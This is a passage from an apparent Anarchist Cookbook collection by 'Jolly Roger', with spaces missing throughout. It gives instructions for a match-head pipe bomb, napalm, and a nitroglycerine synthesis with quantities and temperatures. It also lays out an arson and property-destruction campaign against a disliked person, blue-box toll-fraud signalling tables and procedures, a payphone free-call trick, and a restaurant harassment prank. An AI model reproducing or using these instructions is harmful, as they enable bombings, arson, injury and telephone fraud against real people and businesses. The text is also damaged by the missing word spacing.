test kitsforPH$2,4.Altest$9,95.Soilthermometer$2,75.Lightswhich
approximatethetruecolourbalanceofthesunandareprobablythemostbeneficial
typesavailable:40Watt,48inch4for$15,75.Indoorsunbulb75or150Watt$
5,75.Andtheyhaveanaturalgrowthregulatorforplants(Gibberellin)whichcan
change height, speed growth, and maturity, promote blossoming etc. Each plant
reactsdifferentlytotreatmentwithGibberellin,there'snofunlikeexperimenting$
2.Suggestedreading:TheConnoisseur'shandbookofMarijuana
byBillDrake
StraightArrowPublishing$3,5
625ThirdStreet
SanFrancisco,California
Flash
P.O.Box16098
SanFrancisco,California94116
Stocksaseriesofpamphletsongrass,dopemanufacture,cooking.Includesthe
MaryJaneSuperweedseries.
MatchHeadBomb

byJollyRoger
Simplesafetymatchheadsinapipe,cappedatbothends,makeadevastating
bomb.Itissetoffwitharegularfuse.Aplasticbaggieisputintothepipebeforethe
headsgointopreventdetonationbycontactwiththemetal.Cuttingenoughmatch
headstofillthepipecanbetediousworkforonebutanevening'sfunforthefamily
ifyoucandragthemawayfromtheTV.
HowToTerrorizeMcDonalds
byJollyRoger
(OriginallyanApple][filesoexcusetheuppercase!!!)

Now,althoughMcDonaldsisfamousforitsadvertisingandmakingthewhole
worldthinkthattheBigMacisthebestthingtocomealongsinceslicedbread
(buns?),eachlittlerestaurantisasamateurandsimpleasanewfoundbusiness.Not
onlyarealltheemployeesratherinexperiencedatwhatthey're=supposed=todo,
buttheywilljustlooseallcontrolwhenanemergencyoccurs.Herewego!!!First,
get a fiew friends (4 is good. I'll get to this latter) and enter the Mc Donalds
restaurant, talking loudly and freaking of some strange smell that automatically
makestheoldcouplesittingbythedoorleave.Ifoneofthosepimplygoonsis
wipingthefloor,thentracksomecrapalloverit(youcouldpretendtoslipandbreak
yourhead,butyoumightactuallydoso).Next,beforeyougetthefood,findatable.
Startyellingandreleasingsomestrangebodyodourso<<anybody>>wouldlive
theirtableandwalkoutthedoor.Sit2friendsthereandgouptothecounterwith
another.Findaplacewherethelineisshortorifthelineislongsay"Ionlywanna
buyacoke"andyougetmovedup.Now,yougettodothe<<ordering>>.HehHeh
Heh!Somebody<<always>>mustwantaplainhamburgerwithabsolutelynothing
onit(thistakesextratimetomakeanddrivesthelittlehamburgermakersinsane).
Ordera9packofchickenMcNuggets.No,a20pack.No,three6packs.Wait!Go
backtothetableandaskwhowantswhat!Yourotherfriendwaitsbythecounterand
makesapassatthefemaleclerk.Getbacktothethingandorderthree6packsof
chickenetc.Nowshesays"Whatkindofsaucewouldyoulike?".Ofcourse,say
thatyouallwantbarbecuesauce,oneofyourfriendswants2(onlyifthereareonly2
containersofbarbecuesauceleft).Thentheyhavetogointothestoreroomandopen
upanotherbox.Finally,thedrinks.Somebodywantscoke,somebodyrootbeerand
somebodydietcoke.Afterthesearedelivered,bringthembackandsay"Ididn't
orderadietcoke!Iorderedasprite!"Thisgetsthemmad;betteryet,turndown
somethingterriblethatnobodywantstodrink,sotheyhavetothrowthedrinkaway;
theycan'tsellit.Afterallthefood(?)ishandedtoyou,youmust<<never>>have
enoughmoneytopay.Theclerkwillbesoangryandconfusethatshe'llletyouget
awaywithit(anotherinfluenceonherisyourfriendaskingher"Ifyouletusgo,I'll
gooutwithyou"andgivingherafakephonenumber).Now,backtoyourtable.But
first,somebodylikesketchupandmustardandplenty(toomuch)ofnapkins.Ohand
somebodylikesforksandknives,soalwaysendupbreakingtheonesyoupickout
ofthebox.Haveyourfriendsyellout,"Yay!!!Wehavemunches!!!"asloudas

theycan!That'llworrytheentirerestaurant.Proceedtpsitdown.So,youaresitting
inthesmokingsection(byaccident)eh?Well,whileoneofthetobaccobreathers
isn'tlooking,putasignfromtheothersideoftheroomsaying"Donotsmokehere"
andhe'llhavetomove.Thenhegoesintotherealnonsmokingsectionandgets
yelledat.Hethenthinksthatnosmokingisallowedintherestaurant,soheeats
outside(inthepouringrain).Afteryourmealisfinished(andquiteafewsplattered
openedketchuppacketsarealloverhertable),trytoleave.Butoops!Somebodyhas
todohisdutyinthemen'sroom.Ashegoesthere,hesticksanuneatedhamburger
(wouldyoudaretoeatoneoftheirhamburgers?)Insidethetoilet,flushesitawhile,
untilitrunsalloverthebathroom.Oops!Sendapimplyfacedteenagertocleanit
up.(Hewon'tknowthatbrownthingisahamburgerandhe'llgetsick.Wheee!)As
you leave the restaurant, looking back at your uncleaned table, somebody must
rememberthattheylefttheirchocolateshakethere!Theonethat'salmostfull!!!He
takesit,thensays"Thistasteslikecrap!",thenhetakesoffthelidandthrowsitinto
thegarbagecan.Oops!Hemissedandnowthesamepoorsoulwho'scleaningupthe
bathroomnowhastocleanupchocolateshake.Thenleavethejoint,reversingthe
"Yes,we'reopen"sign(asareminderofhervisitthereyouhaveit!Youhavejust
put all of Mc Donalds into complete mayhem and since there is no penalty for
litteringinarestayrant,buggingpeopleinapubliceatery(orthrowupery,inthis
case)yougetoffscotfree.Wasn'tthatfun?
"Mentor'sLastWords"
courtesyofJollyRoger
Thefollowingfileisbeingreprintedinhonourandsympathyforthemanyfreaks
andhackersthathavebeenbustedrecentlybytheSecretService.Anotheronegot
caught today, it's all over the papers. "Teenager Arrested in Computer Crime
Scandal","HackerArrestedafterBankTampering..."Damn,kids!They'reallalike.
Butdidyou,inyourthreepiecepsychologyand1950'stechnobrain,evertakea
lookbehindtheeyesofthehacker?Didyoueverwonderwhatmadehimtick,what
forcesshapedhim,whatmayhavemouldedhim?Iamahacker,entermyworld!
Mineisaworldthatbeginswithschool.I'msmarterthanmostoftheotherkids,this
craptheyteachusboresme.Damnunderachiever!They'reallalike.I'minjunior
highorhighschool.I'velistenedtoteachersexplainforthefifteenthtimehowto
reduceafraction.Iunderstandit."No,Ms.Smith,Ididn'tshowmywork.Ididitin
myhead."Damn,kid!Probablycopiedit.They'reallalike.Imadeadiscovery
today.Ifoundacomputer.Waitasecond,thisiscool.ItdoeswhatIwantitto.Ifit
makesamistake,it'sbecauseIscreweditup.Notbecauseitdoesn'tlikemeorfeels
threatenedbymeorthinksI'masmartassordoesn'tliketeachingandshouldn'tbe
here.Damn,kid!Allhedoesisplaygames.They'reallalike.Andthenithappened.
Adooropenedtoaworld,rushingthroughthephonelinelikeherointhroughan
addict's veins, an electronic pulse is sent out, a refuge from the day to day
incompetenciesissought,aboardisfound."Thisisit!ThisiswhereIbelong".I
knoweveryonehere,evenifI'venevermetthem,nevertalkedtothem,maynever

hearfromthemagain.Iknowyouall.Damn,kid!Tyingupthephonelineagain.
They'reallalike.Youbetyourasswe'reallalike,we'vebeenspoonfedbabyfoodat
schoolwhenwehungeredforsteak.Thebitsofmeatthatyoudidletslipthrough
wereprechewedandtasteless.We'vebeendominatedbysadistsorignoredbythe
apathetic.Thefewthathadsomethingtoteachfounduswillingpupils,butthosefew
arelikedropsofwaterinthedesert.Thisisourworldnow.Theworldoftheelectron
andtheswitch,thebeautyofthebaud.Wemakeuseofaservicealreadyexisting
withoutpayingforwhatcouldbedirtcheapifitwasn'trunbyprofiteeringgluttons
andyoucalluscriminals. Weexploreandyoucalluscriminals.Weseekafter
knowledge and you call us criminals. We exist without skin colour, without
nationality,withoutreligiousbiasandyoucalluscriminals.Youbuildatomic
bombs,youwagewars,youmurder,cheatandlietousandtrytomakeus
believeit'sforourowngood,yetwe'rethecriminals.Yes,Iamacriminal.My
crimeisthatofcuriosity.Mycrimeisthatofjudgingpeoplebywhattheysay
and think, not what they look like. My crime is that of outsmarting you,
something that you will never forgive me for. I am a hacker and this is my
manifesto.Youmaystopthisindividual,butyoucan'tstopusall.Afterall,we'reall
alike.
TheMentor
[Maythemembersofthefreakcommunityneverforgethiswords!JR]
TheMythofthe2600hzDetector
courtesyofJollyRoger
(ImportedfromtheApple][soforgivetheuppercase!!!)
JustabouteveryoneItalktothesedaysaboutESSseemstobescaredwitlessabout
the2600hzdetector.Idon'tknowwhothoughtthisoneup,butitsimplydoesnot
exist.Somanyofyoupeoplewhineaboutthissocalledfreakcatchingdeviceforno
reason.SomeonewithAT&Tsaidtheyhadittocatchfreakers.Thiswasjustto
scaretheblueboxersenoughtomakethemquitboxingfreecalls.I'mnotsaying
ESSiswithoutitshangups,either.OnethingthatESS candetectreadilyisthe
kickbackthatthetrunkcircuitrysendsbacktotheESSmachinewhenyourlittle
2600hztoneresetsthetolltrunk.AfteranESSdetectsakickback,itturnsanMF
detectoronandrecordsanyMFtonesXmitted.
Defeatingthekickbackdetector
Asmentionedinmypreviousnote,kickbackdetectioncanbeaseriousnuisance
toanyoneinterestedingainingcontrolofatrunkline.Theeasiestwaytobypass
thisdetectioncircuitryisnotreallybypassingitatall,itisjustlettingthekickback
getdetectedonsomeotherline.ThisotherlineisyourlocalMCI,Sprintorother
longdistancecarrier(exceptAT&T).Theonlycatchisthattheserviceyouuse

mustnotdisconnectthelinewhenyouhitthe2600hztone.Thisishowyoudoit:
callupyourlocalextender,putinthecodeanddialanumberinthe601areacode
andthe644exchange.Lotsofotherexchangesworkacrossthecountry,I'msure,but
thisistheonlyonethatIhavefoundsofar. Anyway,whenitstartsringing,simply
hit2600hzandyou'llhearthekickback,(kachirporwhatever).Thenyouare
readytodialwhoeveryouwant(conferences,inward,routeandrate,overseasetc.)
fromthetrunklineinoperatortones!Sinceblowing2600hzdoesn'tmakeyoua
freakeruntilthetollequipmentresetstheline,kickbackdetectionisthemethodAT
&Tchooses(fornow)thisinformationcomesasaresultofmyexperiments&
experience and has been verified by local AT & T employees I have as
acquaintances.Theycouldonlysaythatthisistrueformyarea,butwereprettysure
thatthesameideaisimplementedacrossthecountry.Nowthatyouknowhowto
accessatrunklineorasoperatorssayaloop,Iwilltellyouthemanythingsyoucan
dowithit.HereisalistofAT&Tservicesaccessibletoyoubyusingabluebox.
A/C+101tollswitching
A/C+121inwardoperator
A/C+131information

A/C+141route&rateoperator
A/C+11501mobileoperator
A/C+11521mobileoperator

Startingconferences
Thisisonethemostusefulattributesofblueboxing.Nowtheconfs.areup24
hours/dayand7days/weekandthebillinglinesarebeingbilled.SinceIbelievethe
aboveistrue(aboutthebillinglinesbeingbilled)Iwouldrecommendthatyounever
letyour#showupontheconf.ifyoustartedit,putitonaloopandthencallthe
loop.Enoughbullshit!!!Tostarttheconf.dialoneofthesethreenumbersinMF
whileyouareonthetrunk.
213+080+XXXX
XXXX=1050,3050
SpecialXXXX=1000,1100,1200,1500,2200,2500.These#SareinL.A.
andarethemostwatched,IdonotadviseusingthisNPA.
312+001+1050OR3050
914+042+1050OR1100,1200etc.
Update,Ibelieveonly914worksatthemoment.Onceconnectedwithoneofthese
youwilleitherhearareorder,busyorchirp.Whenyouhearthechirpenterthe
billinglineinMF.Iusetheconf.dialup.Abillinglineexample:KP312+001+
1050ST. You will then hear two tutes and a recording asking you for the # of
confereesincludingyourself.Entera#between20and30.Ifyouevergetover30
peopleonaconferenceallyouwillhearisjumbledvoices.Aftertheitsays"Your
conferencesizeisXX"thenhit#sign.Addyourfavouritelooponandhit6to
transfercontroltoit.Afteritsayscontrolwillbetransferredhangupandcallthe
othersideoftheloop,hit#signandfollowtheinstructions.Abonusforconf.isto
addaninternational#dial1+011+CC+numberprettycoolehhh.
Afewextranotes

 Donotadd#Sthatyouwillwanttohangup,addthesethroughMCIorsprint.
YoucannotblowanyoneoffW/2600hzunlesstheyareinanoldXbarorolder
system.ManyD.A.operatorswillstayonafteryouabusethem;youmayhaveto
startanotheroratleastdon'tsayanynumbers.Neveraddthetonesideofalooponto
aconf.NeveraddmorethanoneMCInodeonyourconf.
Route&Rate
Note: Route&RateandRQSperformthesameservice.R&Rsimplytellsyou
routeandrateinfowhichisveryvaluable,ex.suchastheinwardroutingforan
exchangeinanareacode.Aninwardroutingwillletyoucallherandshecandoan
emergencyinterruptforyou.Shecantellyouhowtogetinternationaloperatorsetc.
Herearethetermsyouarerequiredtouse:
international;
*Givesyouinwardop.route.Ex.[A/C]
operatorroutefor[country,city].*Gives + OR[A/C]+0XX+ whenshesays
youinwardop.;
plus she means 121;
directoryroutefor[country,city].*Gives numbers route for [state, city] *Gives
you

directory

ASS; you

A/

C;
cityroutefor[country,city].*Givesyou placename[A/C]+[exchange]*Gives
country and city code; youcity/stateforthatA/Candexchange.
operatorroutefor[A/C]+ [exchange]
Internationalcalls
TocallinternationalovercablesimplyaccessatrunkanddialKP011XXXST.Wait
forsendertone,KPXXXCCnumberSTXXXA3digitcountrycode,itmaynot
be3digitssojustput1or20'sinfrontofit.CCisthecitycodetogobysatellite:
dialKP18XSTXnumbers28.WaitforsendertonethenKPXXXCCnumberST.
AfavoriteintheCookBookIV!

BlueBox
courtesyofJollyRoger
ToquoteKarlMarxblueboxinghasalwaysbeenthemostnobleformoffreaking.
AsopposedtosuchthingsasusinganMCIcodetomakeafreephonecall,whichis
merelymindlesspseudofreaking,blueboxingisactualinteractionwiththeBell
Systemtollnetwork.Itislikewiseadvisabletobemorecautiouswhenblueboxing,
butthecarefulfreakwillnotbecaught,regardlessofwhattypeofswitchingsystem
heisunder.Inthispart,Iwillexplainhowandwhyblueboxingworks,aswellas
where.Inlater parts, Iwill givemorepracticalinformationfor blueboxingand
routing information. To begin with, blue boxing is simply communicating with

trunks. Trunks must not be confused withsubscriber lines (or "customer loops")
which are standard telephone lines. Trunks are those lines that connect central
offices.Now,whentrunksarenotinuse(i.e.,idleor"onhook"state)theyhave
2600hz applied to them. If they are two way trunks, there is 2 600 hz in both
directions. When a trunk IS in use (busy or "off hook" state), the 2 600 hz is
removed from the side that is off hook. The 2 600 hz is therefore known as a
supervisorysignal,becauseitindicatesthestatusofatrunk;onhook(tone)oroff
hook(notone).Notealsothat2600hzdenotedSF(singlefrequency)signallingand
is"inband."Thisisveryimportant."Inband"meansthatiswithinthebandof
frequenciesthatmaybetransmittedovernormaltelephonelines.OtherSFsignals,
suchas3700hzareusedalso.However,theycannotbecarriedoverthetelephone
networknormally(theyare"outofband"andarethereforenotabletobetaken
advantageofas2600hzis.Backtotrunks.Let'stakeahypotheticalphonecall.You
pickupyourphoneanddial1+8062581234(yourgoodfriendinAmarillo,
Texas).Forease,we'llassumethatyouareon#5Crossbarswitchingandnotinthe
806area.Yourcentraloffice(Co)wouldrecognizethat806isaforeignNPA,soit
wouldroutethecalltothetollcentrethatservesyou.[Forthesakeofaccuracyhere
andforthemoreexperiencedreaders,notethattheCoinquestionisaclass5with
LamathatusesoutofbandSFsupervisorysignalling].Dependingonwhereyou
areinthecountry,thecallwouldleaveyourtollcentre(onmoretrunks)toanother
tollcentreorofficeofhigher"rank".Thenitwouldberoutedtocentraloffice806
258eventuallyandthecallwouldbecompleted.
Illustration
ACOTC1TC2CO2B
A...you
CO1=yourcentraloffice
TC1...yourtolloffice
TC2...tollofficeinAmarillo
CO2...806258centraloffice
B...yourfriend(8062581234)
InthissituationitwouldberealistictosaythatCO2usesSFinband(2600hz)
signalling,whilealltheothersuseoutofbandsignalling(3700hz).Ifyoudon't
understandthis,don'tworry.Iampointingthisoutmerelyforthesakeofaccuracy.
Thepointisthatwhileyouareconnectedto8062581234,allthosetrunksfrom
yourcentraloffice(CO1)tothe806258centraloffice(CO2)do*not*have2600
hzonthem,indicatingtotheBellequipmentthatacallisinprogressandthetrunks
areinuse.Nowlet'ssayyou'retiredoftalkingtoyourfriendinAmarillo,soyou
senda2600hzdowntheline.Thistonetravelsdownthelinetoyourfriend'scentral
office(CO2)whereitisdetected.However,thatCOthinksthatthe2600hzis
originatingfromBellequipment,indicatingtoitthatyou'vehungupandthusthe
trunksareonceagainidle(with2600hzpresentonthem).Butactuallyyouhavenot
hungup,youhavefooledtheequipmentatyourfriend'sCOintothinkingyouhave.
Thus,itdisconnectshimandresetstheequipmenttoprepareforthenextcall.Allthis
happensveryquickly(300800msforstepbystepequipmentand150400msfor

other equipment). When you stop sending 2 600 hz (after about a second), the
equipmentthinksthatanothercalliscomingtowards
>onhook,notone>offhook
Nowthatyou'vestoppedsending2600hz,severalthingshappen:Atrunkis
seized.A"wink"issenttothe calling endfromthe called endindicatingthatthe
calledend(trunk)isnotreadytoreceivedigitsyet.Aregisterisfoundandattached
tothecalledendofthetrunkwithinabouttwoseconds(max).Astartdialsignalis
senttothecallingendfromthecalledendindicatingthatthecalledendisreadyto
receivedigits.Nowallofthisisprettymuchtransparenttotheblueboxer.Allhe
reallyhearswhenthesefourthingshappenisa.So,seizureofatrunkwouldgo
somethinglikethis:
Senda2600hz.
Terminate2600hzafter12secs.
[beep][kerchunk].
Oncethishappens,youareconnectedtoatandemthatisreadytoobeyyourevery
command.Thenextstepistosendsignallinginformationinordertoplaceyourcall.
For this you must simulate the signalling used by operators and automatic toll
diallingequipmentforuseontrunks.Therearemainlytwosystems,DPandMF.
However,DPwentoutwiththedinosaurs,soI'llonlydiscussMFsignalling.MF
(multifrequency)signallingisthesignallingusedbythemajorityoftheinterand
intradatanetwork.ItisalsousedininternationaldiallingknownastheCCITTno.5
system.MFsignalsconsistof7frequencies,beginningwith700hzandseparatedby
200hz.Adifferentsetoftwoofthe7frequenciesrepresentthedigits0through9
plusanadditional5specialkeys.Thefrequenciesandusesareasfollows:

Frequencies(Hz)DomesticInt'l

700+90011
700+110022
900+110033
700+130044
900+130055
1100+130066
700+150077
900+150088

1100+150099
1300+150000
700+1700ST3pCode1
900+1700StpCode1
1100+1700KPKP1
1300+1700ST2pKP2
1500+1700STST

ThetimingofalltheMFsignalsisanominal60ms,exceptforKP,whichshould
haveadurationof100ms.Thereshouldalsobea60mssilentperiodbetweendigits.

This is very flexible however and most Bell equipment will accept outrageous
timings.Inadditiontothestandarduseslistedabove,MFpulsingalsohasexpanded
usagesknownas"expandedinbandsignalling"thatincludesuchthingsascoin
collect,coinreturn,ringback,operatorattachedandoperatorattachedandoperator
released.KP2,code11andcode12andtheST_ps(STart"primes"allhavespecial
useswhichwillbementionedonlybrieflyhere.Tocompleteacallusingabluebox
onceseizureofatrunkhasbeenaccomplishedbysending2600hzandpausingfor
the,onemustfirstsendaKP.Thisreadiestheregisterforthedigitsthatfollow.Fora
standarddomesticcall,theKPwouldbefollowedbyeither7digits(ifthecallwere
inthesameNPAastheseizedtrunk)or10digits(ifthecallwerenotinthesame
NPAastheseizedtrunk).[Exactlylikediallingnormalphonecall].Followingeither
theKPand7or10digits,aSTartissenttosignifythatnomoredigitsfollow.
Example of a complete call: Dial 1 806 258 1 234. Wait for a call progress
indication(suchasring,busy,recordingetc.).Send2600hzforabout1second.
Waitforaboutcallprogressindication(suchasring,busy,recordingetc.).SendKP
+ 305 + 994 + 9966 + ST. The call will then connect if everything was done
properly. Note that if a call to an 806 number were being placed in the same
situation,thearecodewouldbeomittedandonlyKP+sevendigits+STwouldbe
sent.Code11andcode12areusedininternationalcallingtorequestcertaintypesof
operators.KP2isusedininternationalcallingtorouteacallotherthanbywayofthe
normalroute,whether foreconomicorequipmentreasons.STp,ST2pandST3p
(prime,twoprime,andthreeprime)areusedinTSPSsignallingtoindicatecalling
typeofcall(suchascoindirectdialling.Itallstartedhere!
Napalm(Anotherwaytomakeit)
byJollyRoger
(Seefile#021ofCookbookIVforaneasywaytomakeit!!!)
Aboutthebestfirebombisnapalm.Ithasathickconsistency,likejamandisbest
foruseonvehiclesorbuildings.Napalmissimply:onepartgasolineandonepart
soap.Thesoapiseithersoapflakesorshreddedbarsoap.Detergentswon'tdo.The
gasolinemustbeheatedinorderforthesoaptomelt.Theusualwayiswithadouble
boilerwherethetopparthasatleastatwoquartcapacity.Thewaterinthebottom
partisbroughttoaboilandthedoubleboileristakenfromthestoveandcarriedto
wherethereisnoflame.Thenonepart,byvolume,ofgasolineisputinthetoppart
andallowedtoheatasmuchasitwillandthesoapisaddedandthemessisstirred
untilitthickens.Abetterwaytoheatgasolineistofillabathtubwithwaterashotas
youcangetit.Itwillholditsheatlongerandpermitamuchlargercontainerthan
willthedoubleboiler.
NitroglycerineRecipe
byJollyRoger
LikeallchemistsImustadviseyoualltotakethegreatestcareandcautionwhen

youaredoingthis.Evenifyouhavemadethisstuffbefore.Thisfirstarticlewillgive
youinformationonmakingnitroglycerine,thebasicingredientinalotofexplosives
suchasstraightdynamitesandgelatindynamites.
Makingnitroglycerine
Filla75mlbeakertothe13ml.Levelwithfumingrednitricacidof98%pure
concentration.Placethebeakerinanicebathandallowtocoolbelowroomtemp.
Afterithascooled,addtoitthreetimestheamountoffumingsulphuricacid(99%
H2SO4).Inotherwords,addtothenowcoolfumingnitricacid39ml.Offuming
sulphuricacid.Whenmixinganyacids,alwaysdoitslowlyandcarefullytoavoid
splattering.Whenthetwoaremixed,lowerthiertemp.Byaddingmoreicetothe
bath,about1015degreescentigrade.(Useamercuryoperatedthermometer).When
theacidsolutionhascooledtothedesiredtemperature,itisreadyfortheglycerine.
Theglycerinemustbeaddedinsmallamountsusingamedicinedropper.(Readthis
stepabout10times!).Glycerineisaddedslowlyandcarefully(Imeancareful!)
Untiltheentiresurfaceoftheaciditcoveredwithit.Thisisadangerouspointsince
thenitrationwilltakeplaceassoonastheglycerineisadded.Thenitrationwill
produceheat,sothesolutionmustbekeptbelow30degrees centigrade!Ifthe
solutionshouldgoabove30degrees,immediatelydumpthesolutionintotheicebath
!Thiswillinsurethatitdoesnotgooffinyourface!Forthefirsttenminutesof
nitration,themixtureshouldbegentlystirred.Inanormalreactionthenitroglycerin
willformasalayerontopoftheacidsolution,whilethesulphuricacidwillabsorb
the excess water. After the nitration has taken place, and the nitroglycerine has
formedonthetopofthesolution,theentirebeakershouldbetransferredslowlyand
carefullytoanotherbeakerofwater.Whenthisisdonethenitroglycerinwillsettleat
thebottomsotheotheracidscanbedrainedaway.Afterremovingasmuchacidas
possible without disturbing the nitroglycerine, remove the nitroglycerine with an
eyedropperandplaceitinabicarbonateofsoda(sodiumbicarbonateincaseyou
didn'tknow)solution.Thesodiumisanalkaliandwillneutralizemuchoftheacid
remaining.Thisprocessshouldberepeatedasmuchasnecessaryusingbluelitmus
paper to check for the presence of acid. The remaining acid only makes the
nitroglycerinemoreunstablethanitalreadyis.Finally!Thefinalstepistoremove
thenitroglycerinefromthebicarbonate.Itisisdonewithandeyedropper,slowlyand
carefully.Theusualtesttoseeifnitrationhasbeensuccessfulistoplaceonedropof
thenitroglycerineonmetalandigniteit.Ifitistruenitroglycerineitwillburnwitha
clearblueflame.
**Caution**: Nitroisverysensitivetodecomposition,heating,droppingor
jarringandmayexplodeifleftundisturbedandcool.
OperationFuckup
byJollyRoger
ThisisaguideforAnarchistsandcanbefunnyfornonbelieversand12and13

yearoldruntsandcanbealexiconofdeadlyknowledgeforTrueAnarchists...
Seriousdamageisintendedtobedealthere.Donottrythisstuffunlessyouwantto
doalotofseriousAnarchy.
[Simulation]
AssholeListen,youlittleteenagerpunkshit,shutthefuckuporI'llknockyou
down!

AnarchistO.K.Youcan'tsayIdidn'twarnyou.Youdon'tknowmyruepower!

(so

casually)
AssholeWell,er,whatdoyoumean?
Anarchist[demoniacgrin]Asyoucansee,theAnarchistknowssomethingthat
thisassholedoesn't!
[OperationFuckup]
Getawheelbarrelortwo.Fillwithgasoline.Get16rollsoftoiletpaper,unroll&
drenchinthegasoline.Riptoshredsingasoline.Getasbestosgloves.Lightaflare
(tobepunk),grabglobofsaturatedtoiletpaper(youcanignitetheglobornot).
Throweitherflamingordrippingglobinto:anywindow(pictureisthebest),front
doorsandroughgrainsidingandbestofall,brickwalls.Firstofall,thisbitchisnear
impossibletogetoffoncedriedandisaterrortopeopleinsidewhenlit!Afterthis...
duringthenight,getapickuptruck,afewwheelbarrels,andadozenfriendswith
shovels.Thepickupcanbeusedonlyfortransportingpeopleandequipment,or
doingthatandcartingallthedirt.Whenitgetsaround12:00(afterthelosergoes
beddiebye),digagargantuanholeinhisfrontyarduntilabout3:00.Youcan
eitherassignthreeorfourofyourfriendstocartthedirttenmilesawayinthepick
upbedorburyhisfrontdoorin15'ofdirt!Afterthatisdone,getthreeorfour
bucketsoftar,andcoathiswindows.Youcanmakeanaddedtwistbyignitingthetar
whenyouarealldoneandreadytorun!Thatisiftheloserhasahouse.Ifhelives
insideanapartmentbuilding,youmustdirecttheattackmoretowardhiscar,and
frontdoor.Iusuallystartoutwhenhegoestowork.Ifindoutwhathischeapcar
lookslikeandmemorizeitforfutureabuse.Itisalwaysfuntopainthisfrontdoor
(apt.)hotpinkwithpurplepolkadotsandoffneoncoloursindiagonalstripes.You
canalsopoundafewhundredorsofourinchnailsintohisfrontdoor(thislookslike
somebodyreallydoesn'tlikeyoufromtheinside).Anothergreatistofillhiskeyhole
withliquidsteelsothatafterthebastardcloseshisdoortheonlywaytogetbackin
istobreakitdown.Ifyoucanspareit,leavehimanaxethatis,implantedthree
inchesintoandthroughthedoor!Nowthisnextoneisdifficult,butoneofthebest!
Getapieceofwoodsidingthatwillmorethancoverhisfrontdoorcompletely.Nail
twobyfoursontheedgesofthesiding(allexceptthebottom)soyouhaveabarge
likecontraption.Makeaholeatthetopthatwillbelargeenoughforacementslide.
Mixaboutsixorsevenlargebagsofquickdryingcement.Usethecementslideto
filltheantichambercreatedbythebargethatisaroundhisdoor.Usemoretwoby
fourstobraceyourlittlecementfilledbargeandletthelittlegemdry.Whenitis,

removethebargesoonlyastonemonolithremainsthatcovershisdoor.Useany
remainingcementtomakeabasearoundthissohecan'tjustpushitover.WhenIdid
this,hecalledthefiredepartmentandtheythoughthemeantwood,sotheybrought
axes.Iwatchedwithafewdozenorsoothertenants,andlaughedmydamnassoff!
Thisisonlyhisdoor!Afterheparkshiscarforthenight,thefunreallybegins.I
startoutbyopeningupthecarbyjammingaverythin,butlookinsideandout!
Thenproceedtoputorangejuicesyrupallovertheseats,soafterhegetsthroughall
theothershitthatyoudo,hewillhavethestickiestseatsintheworld.Youcanthen
getafewSundaypapers,andcrackoneofthewindowsaboutfourinches.Lightly
crumplethepapers,andcontinuetocompletelyfilltheinsideofhiscarwiththe
newspapers.AcopyoftheSundayNewYorkTimeswillnicelyfillaVolkswagen!
Whatisalsoquiteamusingistoputhiscaroncinderblocks,slashhistiresatthetop,
andfillthemwithcement!Leavethecinderblockstheresothat,afterheknocksthe
caroffofthem,hewillgetabout3milestothegallonwiththosetiresanddo0to60
inabouttwominutes!Itisevenmorehilariouswhenhedoesn'tknowwhythehell
why!Anotheristoopenhishood,andthenrunafewwiresfromthesparkplugsto
themetalbody.Thesureisonehotcarwhenitisrunning!Now,Iliketopourtwo
poundsofsugardownhisgastank.Ifthisdoesn'tbloweverygasketinhisengineit
willdosomethingcalledcaramelizinghisengine.Thisiswhentheextremeheat
turnsthesugartocaramelandyouliterallymustcompletelytaketheengineoutand
apartandcleaneachandeveryindividualpart!Well,ifthisassholedoesnotgetthe
message,youhadbetterstarttogetserious.Ifthisguidewasusedproperly&asit
wasintended(no,notaskindlingforthefire),thisassholewilleithermovefar
away,seekprofessionalpsychologicalhelp,commitsuicideoralloftheabove!

Howto"steal"localcallsfrommostPayphones
byJollyRoger
Nowtomakefreelocalcallsyouneedafinishingnail.Ihighlyrecommend"6DE.
G.finishC/H,2inch"nails.Theseareabout3/32ofaninchindiameterand2
incheslong(ofcourse).Youalsoneedalargesizepaperclip.BylargeImeanthey
areabout2incheslong(folded).Thenyouunfoldthepaperclip.Unfolditbytaking
eachpieceandmovingitout90degrees.Whenitisdoneitshouldlooksomewhat
likethis:
/\
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Now,ontotheneatstuff.Whatyoudo,insteadofunscrewingthegluedon
mouthpiece,isinsertthenailintothecentreholeofthemouthpiece(whereyoutalk)

andpushitinwithpressureorjusthammeritinbyhittingthenailonsomething.Just
don'tkillthemouthpiece!Youcoulddamageitifyouinsertthenailtoofarorat
someweirdangle.Ifthishappensthentheotherpartywon'tbeabletohearwhatyou
say.Younowhaveaholeinthemouthpieceinwhichyoucaneasilyinsertthepaper
clip.So,takeoutthenailandputinthepaperclip.Thentaketheotherendofthe
paperclipandshoveitundertherubbercordprotectoratthebottomofthehandset
(youknow,theblueguy).Thisshouldenduplookingremotelylikethis:

/\Mouthpiece
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Paperclip>::/
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:Toearpiece>
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CordBlueguy
(Thepaperclipisshovedundertheblueguytomakeagoodconnectionbetween
theinsideofthemouthpieceandthemetalcord.)Now,dialthenumberofalocal
numberyouwishtocall,say,MCI.IfeverythinggoesO.K.,itshouldringandnot
answerwiththe"TheCallYouHaveMadeRequiresa20CentDeposit"recording.
Aftertheotherendanswersthephone,removethepaperclip.It'sallthatsimple,
see?Thereareacoupleproblems,however.Oneis,asImentionedearlier,the
mouthpiecenotworkingafteryoupunchit.Ifthishappenstoyou,simplymoveonto
thenextpayphone.Theoneyouarenowonislost.Anotherproblemisthatthetouch
toneswon't workwhenthepaperclipisinthemouthpiece.Therearetwoways
aroundthis.Dialthefirst6numbers.Thisshouldbedonewithoutthepaperclip
makingtheconnection,i.e.,onesideshouldnotbeconnected.Thenconnectthe
paper clip, hold down the last digit, and slowly pull the paper clip out at the
mouthpiece'send.Don'tusethepaperclipatall.Keepthenailinafteryoupunchit.
Dialthefirst6digits.Beforediallingthelastdigit,touchthenailheadtotheplateon
themainbodyofthephone,themoneysafething...thenpressthelastnumber.The
reasonthatthismethodissometimescalledclearboxingisbecausethereisanother
typeofphonewhichletsyouactuallymakethecallandlistentothemsay"Hello,
hello?"butitcutsoffthemouthpiecesotheycan'thearyou.TheClearBoxisused
onthattoamplifyyourvoicesignalsandsenditthroughtheearpiece.Ifyouseehow
thisisevenslightlysimilar tothemethodI havejustdescribedupthere,kindly
explainitto me !!! CauseIdon't getit !Anyway,this does workonalmostall
singleslot,DialToneFirstpayphones(PacificBellforsure).Idoitallthetime.This
istheleast,Istress*least*,riskyformoffreaking.Iwasunabletoupdatethisone.

FromwhatIrecall,itstillworked.Lookforpayphonesw/othelittlevolumebutton
intheupperleftofthecasing.Theyshouldbeoldenoughtouse.
PoolFun
